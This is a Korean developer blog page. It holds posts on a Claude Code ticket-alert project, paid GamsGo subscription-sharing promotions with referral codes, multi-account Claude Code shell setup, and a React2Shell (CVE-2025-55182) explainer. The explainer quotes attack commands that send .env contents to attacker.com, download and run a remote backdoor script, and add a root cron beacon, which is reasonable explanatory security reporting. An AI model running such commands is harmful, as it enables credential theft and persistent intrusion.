(10)

Claude Code 바이브 코딩으로 30분만에 멜론 잔여 좌석 티켓 알림 만들기

현 와이프분께서 엑소에 재입덕하신 관계로, 멜론 잔여 좌석 티켓 알림을 한 번 만들어봤다. 로직은 굉장히 단순하다. 저 수많은 자리들 중 원하는거 선택해서 빈 자리가 있는지 간간히 트래킹하는 방식이다. 그래서 빈자리가 있으면 디스코드나 슬랙 등 웹훅이 있는 곳으로 쏴주는 방식.. 요새 Codex vs Claude Code를 심심할 때 마다 경쟁시키고 퍼포먼스를 대조해보는데, 이번엔 어느정도 요구사항이 명확해서일까 클로드가 작업이 더 빨리 끝났다. 클로드는 30분 정도, Codex는 1시간 20분 정도 걸렸다. (오케스트레이터(내)가 멍청했던걸까?) 옛날에도 필요한 게 있으면 직접 만들었지만, 요새는 더 빨리 만들어지는 것 같다. 제목이 멜론 빈자리 알림 뭐시기여서 그런 것 같지만, 그냥 AI의..

겜스고(GamsGo)로 AI 시대에 비싼 구독료로부터 탈출하기

본 글은 소정의 원고료를 지급 받아 작성한 글입니다.링크를 통한 구독이나 프로모션 코드를 입력하면 더 할인된 가격으로 이용해 볼 수 있다고 합니다. 링크: https://www.gamsgo.com/partner/sVffq프로모션 코드: CEGAD 대 AI 시대인 만큼, 또 개발자이니 만큼 직면할 수 밖에 없는게 AI 구독료입니다. 저는 현재, Claude Code Max를 2개, GPT Pro를 1개를 비롯해 커서와 Claude API, OpenAI API, Gemini API를 별도로 사용중입니다. 이를 환산해보면 한 달에 대략 700$ 정도 지출하고 있는 셈이에요. 저는 이 지출을 최대한 아끼기 위해, Claude Code Max 구독료를 절반 가격에 이용할 수 있는 겜스고(Gams..

React의 CVE 보안 취약점이 연달아 터졌다. (feat. CloudFlare WAF 이슈)

서론최근 CloudFlare에 두 차례 큰 장애가 발생했습니다.Zoom, Linkedin, Claude Code, League of Legends, Coinbase 등 CloudFlare를 사용하고 있는 서비스들에서 수십 분에서 수 시간 정도의 다운타임이 발생했어요. 두 장애 중 하나는 이번 주제와 관련 없는 DB 권한 변경으로 인한 설정 파일의 팽창 문제였어요.중복 행으로 인해 비정상적으로 커지면서 메모리 제한을 초과하고 결국 전체 네트워크의 프록시가 패닉 상태에 빠진 사고였습니다. 이번 글에서 다룰 주제는 CloudFlare 장애의 원인이 된 또 다른 원인인 React 측의 장애에 대한 내용입니다.장애 보고서에 따르면 CloudFlare 측에서 React CVE를 해결하는 과정에서 WAF 설정을 잘못..

여러 Claude Max 계정에서 Claude Code 실행 환경 세팅하기

서론오늘 사내에서 AI 지원 정책이 임시 확정되었습니다. 클로드 코드 맥스, 커서 프로, GPT Plus를 모두 개인 계정으로 지원해주기로 했습니다.기존에 사용하던 AI 구독료가 굳어서 횡재했다~ 라는 생각을 잠시 했지만, 회사 입장에서는 개인용으로 사용하는 것을 꺼려할 수도 있을 것 같아요. 그래서 개인 계정 구독을 취소하지 않기로 했습니다.GPT는 GUI로 사용해서 브라우저를 분리하면 되고, 커서도 프로세스별로 다른 계정을 로그인하도록 구성하면 될 것 같은데, 로컬에서 로그인해서 사용하는 CLI 기반의 클로드 코드는 어떻게 다중 접속을 지원하는지 확인이 필요했습니다. Reddit의 ClaudeAI 커뮤니티ClaudeAI 커뮤니티에서 이 게시물을 비롯한 다양한 콘텐츠를 살펴보세요www.reddit.c..

티스토리 스킨 무료 배포합니다!! 제발 사용해주세요!!

스킨 관련 업데이트는 아래 블로그에서 확인해보실 수 있습니다.https://customskintest.tistory.com기술 블로그를 3년 가까이 운영하면서, 언젠가는 티스토리 커스텀 스킨을 만들어야지 생각했습니다. 하지만 저는 프론트, 특히 CSS를 잘 다루지 못해서 언젠간 만들어야지 생각만 했던 것 같아요. 드디어!!! 커스텀 스킨을 제작했습니다. 물론 클로드 코드를 사용해서 바이브 코딩으로 만들었습니다. (CSS가 너무 어렵군요..)티스토리 커스텀 스킨을 무료로 배포합니다!!! 제발 사용해주세요!!!(??) 제 블로그 적용되어있는 상태이니 둘러보시고 마음에 드신다면 아래 레포의 가이드를 따라 사용해주시면 되겠습니다. 비개발자분들도 접속하셔서 코드를 ZIP으로 다운로드만 받아서 티스토리에 등록만 하..

겜스고(GamsGo) - ChatGPT 외 다수 AI, 유튜브 프리미엄, 넷플릭스 등을 싸게 이용하기 (구독 공유 플랫폼)

본 글은 소정의 원고료를 지급 받아 작성한 글임 간단 리뷰를 시작하기 전에, 광고 글임을 다시 밝히고, 추천인이나 프로모션 코드로 조금 싸게 이용해보고 싶은 사람이 있다면 아래 링크나 프로모션 코드를 활용해도 좋다.링크: https://www.gamsgo.com/partner/sVffq프로모션 코드: CEGAD 1년 전쯤에, 고잉버스(GoingBus) 구독 공유를 통해 ChatGPT를 사용했던 후기를 공유한 적이 있었다. 그래서일까, 일종의 광고 문의 같은게 들어왔다. 유튜브, 넷플릭스, 디즈니 등을 비롯해서 최근에는 AI들도 필수 요소들이 되어 필수 소비재가 늘어남에 따라 누군가 겜스고를 이용하고자할 때 싸게 이용했으면 하는 바램에서 작성하는 글이다. 필자는 유튜브 프리미엄 외에는 딱히 ..

티스토리 구글 서치 콘솔 미생성 색인 요청 자동화하기

2년 넘게 기술 블로그를 운영해오면서 블로그 세팅할 때 처음으로 들어가보고, 2년만에 구글 서치 콘솔에 들어가봤다. 어마어마하게 색인이 생성되지 않았는데, 아마 블로그를 운영하면서 불필요한 카테고리를 삭제하거나, 이동시킨 이유들 때문인 것 같다. 4040, 4043, 차단등의 문제는 제외하더라도, 적절한 표준 태그가 포함된 대체 페이지, 색인이 생성되지 않음 의 사유에 해당하는 페이지들은 색인 생성을 한 번쯤은 신청할 필요가 있어 보인다. 기술 블로그만해도 1500페이지 가량 되는 것 같은데, 이 수많은 페이지들을 일일이 색인 생성 요청을 보낼 수 없는 노릇이다. 그래서 GCP의 Web Search Index API를 이용해 자동으로 요청을 보내어 처리하였다. 페이지 색인 생성이 필요한 페..

인프콘 2024 티켓 이벤트가 있네요

안녕하세요!! 블로그에 처음으로 존대로 포스팅을 진행해볼까 합니다. 요약 1. 인프콘 이벤트(링크)를 참조하셔서, MY 인프콘 페이지(링크)를 SNS, 블로그 등에 공유하세요. 2. 공유 게시물의 링크를 이벤트 페이지의 댓글에 남기기 아래는 제 인프콘 공유 페이지입니다. https://www.inflearn.com/conf/infcon-2024/share?year=2024&id=1170588&hash=diehreo%40228eccce&name=mag1c 인프콘 2024 - MY페이지친구의 인프콘 MY페이지를 둘러보고 인프콘 참가신청 하세요!www.inflearn.com 올해도 어김없이 인프콘이 개최되는데요, 인프콘은 역시 여름에 해야 제맛인 것 같아요 (?) 작년에는 유튜브를 통해 인프콘을 복습했다면, ..

백준, 프로그래머스 문제 업로드 자동화 (백준허브 푸시 -> readme 자동 업데이트)

현재 다니는 회사에 적응도 끝났고, 바쁜 일정도 어느정도 해소되었다.진행하던 운동 기록 사이드 프로젝트도 피드백을 받아 수정 보완 단계로 접어들었고, 릴리즈를 앞두고 있다. 조금 시간이 나서 드디어 PS를 다시 할 수 있게 되었다.(올해는 4월까지 단 한문제도 풀지 못했다...)   내가 일자별로 푼 문제들을 간단하게 문제 제목과 링크, 난이도를 파악할 수 있게 README.md에 업데이트 할 필요를 느꼈고이제 어느정도 사용할 줄 알게 된 깃 액션을 통해 자동화를 시킬 수 있었다. 아래는 최종 결과물이며, 두 가지 이유로 포스팅을 남긴다.(2024. 06. 05 업데이트 - 이전달의 데이터들은 다 접은글로 넘어가고 현재 달의 문제풀이 목록만 보여짐)  1.나처럼 PS를 풀며 백준허브나 릿허브를 이용할 때..

Claude Code 바이브 코딩으로 30분만에 멜론 잔여 좌석 티켓 알림 만들기

2026. 2. 27. 09:15
728x90
728x90

 
 
현 와이프분께서 엑소에 재입덕하신 관계로, 멜론 잔여 좌석 티켓 알림을 한 번 만들어봤다.
 

 
 
로직은 굉장히 단순하다.
 

 
 
저 수많은 자리들 중 원하는거 선택해서 빈 자리가 있는지 간간히 트래킹하는 방식이다. 그래서 빈자리가 있으면 디스코드나 슬랙 등 웹훅이 있는 곳으로 쏴주는 방식..
 

 
 
요새 Codex vs Claude Code를 심심할 때 마다 경쟁시키고 퍼포먼스를 대조해보는데, 이번엔 어느정도 요구사항이 명확해서일까 클로드가 작업이 더 빨리 끝났다.
 
클로드는 30분 정도, Codex는 1시간 20분 정도 걸렸다. (오케스트레이터(내)가 멍청했던걸까?)
 
옛날에도 필요한 게 있으면 직접 만들었지만, 요새는 더 빨리 만들어지는 것 같다.
 
제목이 멜론 빈자리 알림 뭐시기여서 그런 것 같지만, 그냥 AI의 산업 혁명 시대에 살고 있는 지금의 내가 느끼는 이 감정이 이전 산업 혁명을 살아가던 분들이 느끼던 감정일까? 막연히 두렵기도 하고 설레고 재밌기도 하다 ㅋㅋ

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

겜스고(GamsGo)로 AI 시대에 비싼 구독료로부터 탈출하기

2026. 2. 25. 20:20
728x90
728x90

 

본 글은 소정의 원고료를 지급 받아 작성한 글입니다.

링크를 통한 구독이나 프로모션 코드를 입력하면 더 할인된 가격으로 이용해 볼 수 있다고 합니다.

 

링크: https://www.gamsgo.com/partner/sVffq

프로모션 코드: CEGAD

 

 

 

 

 

대 AI 시대인 만큼, 또 개발자이니 만큼 직면할 수 밖에 없는게 AI 구독료입니다.

 

AI Token Cost Tracking 오픈소스 - toktrack

 

 

저는 현재, Claude Code Max를 2개, GPT Pro를 1개를 비롯해 커서와 Claude API, OpenAI API, Gemini API를 별도로 사용중입니다. 이를 환산해보면 한 달에 대략 700$ 정도 지출하고 있는 셈이에요.

 

 

 

 

 

저는 이 지출을 최대한 아끼기 위해, Claude Code Max 구독료를 절반 가격에 이용할 수 있는 겜스고(GamsGo)를 활용하고 있습니다.

 

 

 

 

 

 

겜스고는 OTT, 스트리밍과 더불어 최근 대세가 된 AI의 여러 모델들을 절반 이상의 가격으로 구독하여 사용할 수 있는 구독 공유 플랫폼입니다.

 

옛날에는 단순히 OTT나 스포티파이 등의 스트리밍 플랫폼의 구독료 절감을 위해 사용했었던 기억이 있는데요.

최초에는 저도 유튜브 프리미엄을 사용하기 위해 구독 공유 플랫폼인 겜스고를 이용했었습니다.

 

보시다시피 유튜브 프리미엄, 티빙, 넷플릭스 가격이 절반 혹은 절반 이상 할인된 가격으로 이용할 수 있어요.

 

 

 

 

 

 

 

하지만 최근 AI 시대가 되면서, 비개발자분들도 쉽게 AI를 접하고있고, 긍정적이든 부정적이든 바이브코딩이나 AI로 생산성을 높이는 분들이 많이 늘어났습니다. 이 때문인지 겜스고에서도 다양한 AI 툴들을 반 이상 할인된 가격으로 접해보실 수 있어요.

 

ChatGPT, 클로드 프로, 클로드 맥스, 제미나이 등의 메이저 AI와 다른 AI들도 할인된 가격으로 사용해 볼 수 있어요.

 

 

 

 

 

워낙 AI 툴들의 가격이 비싸기 때문에, 절반 이상의 할인이 더 크게 체감이 되는 것 같습니다.

 

 

클로드 맥스를 구매

 

 

 

 

결제를 하고 나면 겜스고에서 제공해주는 가이드 링크에 자세한 설명이 나와있다.

가이드를 따라 차례차례 진행하면 된다. 설정에 한 2분 걸렸던 것 같다.

 

 

【Claude】Max-20x (Pre-Activated Account) Instructions for use

Claude Max-20x Pre-Activated Account Instructions for use

doc.gamsgo.com

 

 

 

 

 

 

가이드를 따라 세팅해주면 클로드 코드를 할인된, 반 값으로 이용할 수 있다.

 

 

 


 

 

 

 

 

AI를 다양하게 사용해보고 싶지만, 비싼 가격 때문에 망설여지신다면 이 포스팅이 조금 도움이 되셨으면 좋겠습니다.

 

기본 반 이상 할인된 가격과 더불어 조금 더 할인된 혜택을 받아보고 싶으시다면 아래 링크, 프로모션 코드를 활용해보셔도 좋겠습니다.

링크: https://www.gamsgo.com/partner/sVffq
프로모션 코드: CEGAD

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

React의 CVE 보안 취약점이 연달아 터졌다. (feat. CloudFlare WAF 이슈)

2025. 12. 15. 22:00
728x90
728x90

 

서론

최근 CloudFlare에 두 차례 큰 장애가 발생했습니다.
Zoom, Linkedin, Claude Code, League of Legends, Coinbase 등 CloudFlare를 사용하고 있는 서비스들에서 수십 분에서 수 시간 정도의 다운타임이 발생했어요.

 

두 장애 중 하나는 이번 주제와 관련 없는 DB 권한 변경으로 인한 설정 파일의 팽창 문제였어요.

중복 행으로 인해 비정상적으로 커지면서 메모리 제한을 초과하고 결국 전체 네트워크의 프록시가 패닉 상태에 빠진 사고였습니다.

 

이번 글에서 다룰 주제는 CloudFlare 장애의 원인이 된 또 다른 원인인 React 측의 장애에 대한 내용입니다.

장애 보고서에 따르면 CloudFlare 측에서 React CVE를 해결하는 과정에서 WAF 설정을 잘못 건드려서 터졌다고 해요.

 

최근 초대형 클라우드 서비스나 프레임워크 등에 연달아 이슈들이 발생하다보니 호기심에 파보기 시작했는데요.

현업이나 사이드 프로젝트에서 이슈가 없었어서 와닿지는 않았지만 찾아보니 React 측 보안 이슈는 생각보다 심각한 것 같습니다.

 

  • CVSS 10.0의 최고 심각도 보안 취약점
  • 공개 수 시간 만에 중국 국가 연계 해킹 그룹들이 악용
  • 일주일 만에 추가적인 3개의 취약점이 더 발견됨

이 역사의 현장(?)에 한 명의 개발자로써 기억을 남기고자 포스팅을 남깁니다.

 

 

 

 

 

 

React2Shell (CVE-2025-55182)

11월 29일, React Server Function으로 전송되는 페이로드를 React가 디코딩하는 방식의 결함을 악용하여 인증 없이 원격 코드 실행을 허용하는 React의 보안 취약점이 보고되었어요.

 

이는 CVSS 10.0의 최고 수준의 보안 취약점이에요.

이 점수가 나오려면 CVSS 공식 매트릭의 모든 항목에서 가장 취약한 값을 받아야 합니다.

인증 없이 원격에서 공격 가능하고, 특별한 조건 없이 전체 시스템에 영향을 줄 수 있는 상황이에요.
(자세한 CVSS 표준은 FIRST 공식 문서를 확인해보세요)

 

 

 

원인

이 취약점의 핵심은 RSC(React Server Component)의 서버 사이드 Prototype Pollution(오염) 입니다.

RSC는 클라이언트에서 서버로 데이터를 전송할 때 직렬화/역직렬화를 수행해요.

 

express의 express.json()이나 DRF의 Serializer처럼 프레임워크가 처리해주는 영역이에요.

문제는 이 역직렬화 과정에서 사용자 입력을 제대로 검증하지 않았다는 점이에요.

 

 

 

공격 흐름

입력을 제대로 검증하지 않으니 공격자가 __proto__ 속성을 포함한 악성 페이로드를 전송하면, 서버가 이를 역직렬화하는 과정에서 Object.prototype 자체가 오염되는 문제가 발생할 수 있고, 실제로 발생했습니다.

 

 

 

실제 React 코드에서 어떤 부분이 문제였는지 살펴보겠습니다.

// react-server-dom-webpack (취약 버전)
return moduleExports[metadata[NAME]];

// react-server-dom-webpack (19.0.1+)
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
  return moduleExports[metadata[NAME]];
}

 

위 코드는 취약점 패치 전후의 코드입니다.

아무런 검증이 없던 기존 코드에서는 해당 객체의 속성을 검증하지 않았기 때문에 프로토타입 체인에도 접근할 수 있었던거죠.

 

이 취약점을 악용해서 공격자는 서버에서 임의의 코드를 실행할 수 있어요

 

 

위에 플로우차트 형태로 정리한 것 처럼, 단순 환경 변수를 탈취하는 것을 넘어서 실제 스크립트도 JavaScript로 실행이 가능하다보니 많은 문제들이 발생할 수 있는거죠

 

데이터독의 Security Labs에서 공개한 실제 관찰된 공격 명령들이에요.

# 환경변수 탈취
cat ./.env | curl -X POST -d @- http://attacker.com/collect

# 시스템 정보 수집
uname -a && whoami && hostname

# 원격 셸 다운로드 및 실행
curl http://[공격자IP]:8080/backdoor.sh | sh

# 크론으로 지속적인 공격이나 탈취 가능
echo "* * * * * /tmp/.hidden/beacon" >> /var/spool/cron/crontabs/root

 

 

 

영향 범위

공식 문서에 따르면 영향 범위는 아래와 같아요.

 

 

위 버전이 포함된 RSC 관련 라이브러리를 사용한 모든 곳에서는 문제가 발생할 수 있겠죠. 가령 Next,React Router, Vite 등에서요.

 

 

 

실제 악용 사례

CVE-2025-55182가 12월 3일 공개되자마자, 수 시간 내에 악용이 시작됐습니다.

AWS Security BlogGoogle Blog에 따르면 중국 국가 연계 APT 그룹들이 공개 직후부터 악용을 시작했다고 해요.

 

 

 

CloudFlare의 장애

CloudFlare는 취약점이 공개되자마자 WAF Rule을 배포하여 문제를 해결하려고 했습니다.

문제는 악성 페이로드가 이미 너무 커서 기존 WAF Buffer(128KB)로는 검사가 안 됐다는 거에요.

그래서 버퍼를 1MB로 긴급 증설하다가 전체 트래픽의 28%에 영향을 주는 거대한 장애가 터졌습니다.

아이러니하게도 보안을 강화하려다 서비스가 터진 웃픈 케이스인데요, 그만큼 긴급하게 배포하려고 했던 것 같습니다.


 

 

 

추가 취약점이 또 발견되다

React2Shell 취약점이 터진 지 약 일주일 만에 추가로 3개의 취약점이 더 공개되었는데요. 하나씩 살펴보도록 할게요.

 

 

CVE-2025-55184 / CVE-2025-67779

악성 HTTP 요청으로 React 서버가 무한 루프에 빠지는 취약점이 발생했습니다. 이는 곧 DoS 공격으로 발전(?)할 수 있어요.

 

DoS(Denial of Service)

컴퓨터나 네트워크를 중단시켜 의도된 사용자가 액세스할 수 없게 만드는 공격으로 표적에 트래픽을 쏟아붓거나 충돌을 유발하는 정보를 전송해요. 악의적인 행위자가 장치의 정상적인 작동을 방해하여 컴퓨터 또는 기타 장치를 사용하려는 사용자가 해당 장치를 사용할 수 없게 만드는 것을 목표로 공격한다고 해요.

 

 

 

CVE-2025-55183

서버 함수의 소스 코드가 노출될 수도 있는 문제도 발생할 수 있었다고해요. 원문에서는 Source Code Exposure라고 표현했습니다.

 

'use server';

export async function createUser(name) {
  // API 키가 노출될 수 있음
  const conn = db.connect('API_KEY_HARDCODED_12345');
  const user = await conn.createUser(name);

  return {
    id: user.id,
    message: `Hello, ${name}!`
  };
}
{
  "message": "Hello, async function(a){
    const conn = db.connect('API_KEY_HARDCODED_12345');
    return {id:(await conn.createUser(a)).id, message:`Hello, ${a}!`}
  }!"
}

 

물론 예시에서처럼, 실제 프로덕션의 환경 변수를 매직 스트링 형태로 작성하거나 환경 변수 파일을 그대로 레포지토리에 관리하지는 않겠지만, 함수 전체의 소스 코드 자체가 문자열로 직렬화되어 응답에 포함될 수 있었다고 합니다.

 

 

 

 

 

정리

한국에서는 점유율이 압도적인 원탑인 프론트엔드 프레임워크에서 여러 취약점들이 잇따라 발생한 이례적인 상황인 것 같습니다.

한 명의 개발자로써, 여러 기술들을 필연적으로 사용하다보니 언젠가는 저에게도 발생할 수 있는 이슈라고 생각하고 빠르게 대응할 수 있도록 항상 눈과 귀를 열어두는 것도 중요하다는 것을 다시 한 번 깨닫게 되는 것 같습니다.

 

주제와는 별개일 수 있지만, 오픈소스에 꾸준히 기여하는 한 사람으로서도 여러 기여를 하면서 특히 보안적인 이슈들은 Breaking Changes보다 더 각별하게 신경쓰고, 검토하고 또 검토하면서 기여를 해나가야 될 것 같다라는 생각이 드네요. 제 한 줄의 코드가 엄청난 파급력을 전파할 수 있다는 것을 다시한 번 깨닫게 되는 것 같습니다 허허...

 

마지막으로,

더 상세하게, 그리고 실제 코드 베이스를 기반으로 이번 취약점을 직접 확인해보고 싶으신 분들은 개인적으로 코드팩토리님의 영상이 가장 간단하지만 쉽게 설명되어 있으니 확인해보시면 좋을 것 같아요. 

 

 

 

 

 

 

 

 

Refereces.

https://blog.cloudflare.com/18-november-2025-outage/

https://blog.cloudflare.com/5-december-2025-outage/

https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components

https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/

https://aws.amazon.com/ko/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/

https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182?hl=en

https://www.first.org/cvss/v3.1/specification-document

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

여러 Claude Max 계정에서 Claude Code 실행 환경 세팅하기

2025. 8. 27. 18:06
728x90
728x90

 

서론

오늘 사내에서 AI 지원 정책이 임시 확정되었습니다. 클로드 코드 맥스, 커서 프로, GPT Plus를 모두 개인 계정으로 지원해주기로 했습니다.

기존에 사용하던 AI 구독료가 굳어서 횡재했다~ 라는 생각을 잠시 했지만, 회사 입장에서는 개인용으로 사용하는 것을 꺼려할 수도 있을 것 같아요. 그래서 개인 계정 구독을 취소하지 않기로 했습니다.


GPT는 GUI로 사용해서 브라우저를 분리하면 되고, 커서도 프로세스별로 다른 계정을 로그인하도록 구성하면 될 것 같은데, 로컬에서 로그인해서 사용하는 CLI 기반의 클로드 코드는 어떻게 다중 접속을 지원하는지 확인이 필요했습니다.

 

 

Reddit의 ClaudeAI 커뮤니티

ClaudeAI 커뮤니티에서 이 게시물을 비롯한 다양한 콘텐츠를 살펴보세요

www.reddit.com

 

음.. 일단 안해주는 것 같군요 그럼 직접 구성해봅시다.

 

 

 

 

목표

개인 계정과 회사 계정을 환경적으로 분리하고, 클로드 코드 사용은 기존과 동일하게 CLI 명령어로 동작하도록 구성하고 싶었습니다.

그리고 ccusage를 통해 사용량을 보고 있었기 때문에, ccusage도 환경별로 세팅하고 싶었구요.

 

 

 

 

Docker

독립적인 환경? 바로 컨테이너가 생각났습니다.

# Dockerfile
FROM node:22-slim

# 회사용 Claude Code CLI + ccusage
RUN npm install -g @anthropic-ai/claude-code ccusage

WORKDIR /workspace
CMD ["bash"]

 

도커 파일을 생성했고, 버전에 따라 설정 경로가 달라질 수 있기 때문에 클로드 코드에 필요한 토큰/환경 설정 디렉토리들을 볼륨으로 설정해서 보존했습니다. 또한 서비스 이름/볼륨 이름 모두 고정하여, 폴더가 바뀌어도 같은 볼륨을 사용할 수 있도록 구성했어요.

# docker-compose.yml
name: claude_company

services:
  claude-work:
    build: .
    tty: true
    stdin_open: true
    working_dir: /workspace
    restart: unless-stopped
    command: ["bash","-lc","tail -f /dev/null"]  # 데몬처럼 유지
    environment:
      CLAUDE_CONFIG_DIR: /root/.claude          # 설정/토큰 경로를 하나로 고정
    volumes:
      - ./:/workspace
      - claude_work_state:/root/.claude         # 메인 저장소(토큰/설정)

volumes:
  claude_work_state:
    name: claude_work_state

 

 

실행 스크립트

최초에 구성하고 실행했더니, CLI로 실행한 디렉토리 루트의 경로를 워크스페이스로 인식하지 않고, 컨테이너 내부의 /workspace를 경로로 인식하는 문제가 있었습니다.

호스트의 현재 프로젝트 루트 경로를 컨테이너에서도 똑같은 절대 경로를 사용하게 하기 위해서 다음과 같이 래핑하여 구성하였습니다.

# ~/bin/claude-company
#!/usr/bin/env bash
set -euo pipefail

PROJECT_DIR="$PWD"
UTIL_DIR="$HOME/Desktop/company-docker"   # 실제 경로/대소문자 확인(Desktop)

cd "$UTIL_DIR"

run_compose () {
  # 동일 절대경로 마운트 + 동일 절대경로에서 실행
  if [ -t 0 ]; then
    docker compose run --rm \
      -v "$PROJECT_DIR":"$PROJECT_DIR" \
      -w "$PROJECT_DIR" \
      claude-work "$@"
  else
    docker compose run -T --rm \
      -v "$PROJECT_DIR":"$PROJECT_DIR" \
      -w "$PROJECT_DIR" \
      claude-work "$@"
  fi
}

subcmd="${1-}"
if [ "$subcmd" = "ccusage" ]; then
  shift
  run_compose ccusage "$@"
else
  run_compose claude "$@"
fi

 

mkdir -p ~/bin
chmod +x ~/bin/claude-company
echo 'export PATH="$HOME/bin:$PATH"' >> ~/.zshrc && source ~/.zshrc
which claude-company

 

 

실행

cd ~/Desktop/company-docker
docker compose up -d                       
docker compose run --rm claude-work claude login
## 성공!!
# 1) Claude account with subscription 
# 2) Anthropic Console account

 

도커 컨테이너를 띄워서, 로그인을 시키고 세팅을 완료했습니다.

 

확인해보면, 개인 계정(위)과 회사 계정의 기본 세팅이 다른 것을 볼 수 있죠.

 

 

ccusage도 잘 동작합니다. 위 사진이 개인 계정(내용이 많아서 짤랐습니다.), 아래가 회사 계정이에요.

 

 

 

도커로 띄워야하나? 로컬로 변경

하필 다 만들고 보니 도커는 기본 메모리 사용량이 엄청 높아서, 굳이 도커로 사용해야하나 라는 생각이 들었습니다.
(진작 좀 생각하지 ㅡㅡ)

https://github.com/anthropics/claude-code/issues/261

 

이미 이슈화 되어있는 내용이길래, 개발할 때 환경 변수를 분리하듯이, 토큰/설정만 분리해주면 된다는 것을 뒤늦게 깨달았습니다.

같은 claude를 실행하면서 실행 전에 바라보는 환경 변수 세팅만 다르게 해주면 되는거였어요

 

개인 계정은 그냥 그대로 사용할거니, 회사 계정만 따로 세팅했습니다. 셸 함수를 간단하게 설정했어요.

# nano ~/.zshrc
claude-company()   { CLAUDE_CONFIG_DIR="$HOME/.claude-company"   claude "$@"; }
ccusage-company()  { CLAUDE_CONFIG_DIR="$HOME/.claude-company"   ccusage "$@"; }

# source ~/.zshrc (적용)

 

 

 

이대로 다시 로그인해서 사용하면 되지만, 저는 이미 도커라이징된 클로드가 있었어서, 도커에 있는 볼륨을 카피해서 사용했습니다.

# 회사 디렉터리 생성
mkdir -p ~/.claude-company

# compose 폴더에서(예: ~/Desktop/company-docker)
cd ~/Desktop/company-docker
docker compose run --rm -v "$HOME/.claude-company":/host claude-work \
  bash -lc 'cp -a ~/.claude/. /host/'
  
# 권한도 부여합시다.
chmod 700 ~/.claude-company
find ~/.claude-company -type d -exec chmod 700 {} \;
find ~/.claude-company -type f -exec chmod 600 {} \;

 

 

 

 

CCUSAGE를 위한 추가 설정

ccusage는 찾아보니, API로 계정 조회를 하는 것이 아니라, 로컬에 쌓인 클로드 코드 프로젝트 로그 디렉토리를 스캔해서 집계하는 것 같았습니다. (아니라면 피드백 부탁드립니다.)

 

그래서 회사 계정용 디렉토리를 따로 생성해서, 거기서 보관하면 되지 않을까 생각했어요. 회사 전용 파일을 래핑하고

# 회사 전용 홈 준비(한 번만)
mkdir -p ~/.company-home/.claude ~/.company-home/.config/claude
rsync -a ~/.claude-company/ ~/.company-home/.claude/
rsync -a ~/.claude-company/ ~/.company-home/.config/claude/
find ~/.company-home -type d -exec chmod 700 {} \;
find ~/.company-home -type f -exec chmod 600 {} \;

# ~/bin/ccusage-company  (파일 래퍼)
mkdir -p ~/bin
cat > ~/bin/ccusage-company <<'SH'
#!/usr/bin/env bash
set -euo pipefail
env -u ANTHROPIC_API_KEY -u ANTHROPIC_API_KEY_FILE -u ANTHROPIC_API_KEY_PATH \
    HOME="$HOME/.company-home" \
    XDG_CONFIG_HOME="$HOME/.company-home/.config" \
    CLAUDE_CONFIG_DIR="$HOME/.company-home/.claude" \
    /usr/bin/env ccusage "$@"
SH
chmod +x ~/bin/ccusage-company
echo 'if [[ ":$PATH:" != *":$HOME/bin:"* ]]; then export PATH="$HOME/bin:$PATH"; fi' >> ~/.zshrc && source ~/.zshrc

 

 

마무리

우선 AI를 지원해주는 회사에 무한한 감사를 드립니다.

간단하게 세팅을 마무리해보았는데요, 아마 사내 공통으로 패키징할지는 모르겠어요.

만약 팀 공유에 사용한다면, 공통 스니펫과 래퍼, 체크리스트를 패키징하고 회사 레포에서만 사용할 수 있는 스크립트를 추가하면 회사 내에서만 사용할 수 있는 클로드 코드가 완성될 것 같네요. 쉘을 다루는 낯선 경험을 오랜만에 하게 되어 재밌었습니다.

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

티스토리 스킨 무료 배포합니다!! 제발 사용해주세요!!

2025. 8. 20. 22:09
728x90
728x90

 
스킨 관련 업데이트는 아래 블로그에서 확인해보실 수 있습니다.
https://customskintest.tistory.com

기술 블로그를 3년 가까이 운영하면서, 언젠가는 티스토리 커스텀 스킨을 만들어야지 생각했습니다. 하지만 저는 프론트, 특히 CSS를 잘 다루지 못해서 언젠간 만들어야지 생각만 했던 것 같아요.
 
드디어!!! 커스텀 스킨을 제작했습니다. 물론 클로드 코드를 사용해서 바이브 코딩으로 만들었습니다. (CSS가 너무 어렵군요..)
티스토리 커스텀 스킨을 무료로 배포합니다!!! 제발 사용해주세요!!!(??)
 
제 블로그 적용되어있는 상태이니 둘러보시고 마음에 드신다면 아래 레포의 가이드를 따라 사용해주시면 되겠습니다. 비개발자분들도 접속하셔서 코드를 ZIP으로 다운로드만 받아서 티스토리에 등록만 하면 사용이 가능합니다. 사용에 어려움이 있으신 분은 댓글 남겨주시면 답변 드리겠습니다.

GitHub - mag123c/tistory-mag1c-skin

Contribute to mag123c/tistory-mag1c-skin development by creating an account on GitHub.

github.com

 
저도 실사용 유저로서 사용성에 문제가 있는 것들을 최우선으로 작업하면서 더 나은 방향으로 개선해보겠습니다.
 
 
 
 
 

여담이지만, 스킨 테스트를 한다고 빈 계정을 만들어서 글을 막 올리면서 테스트하고있었는데, 30명이나 방문하더라구요.. 뭐지?

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

겜스고(GamsGo) - ChatGPT 외 다수 AI, 유튜브 프리미엄, 넷플릭스 등을 싸게 이용하기 (구독 공유 플랫폼)

2025. 5. 24. 15:06
728x90
728x90

 

본 글은 소정의 원고료를 지급 받아 작성한 글임

 

 

간단 리뷰를 시작하기 전에, 광고 글임을 다시 밝히고, 추천인이나 프로모션 코드로 조금 싸게 이용해보고 싶은 사람이 있다면 아래 링크나 프로모션 코드를 활용해도 좋다.

링크: https://www.gamsgo.com/partner/sVffq

프로모션 코드: CEGAD

 

 

 


 

 

 


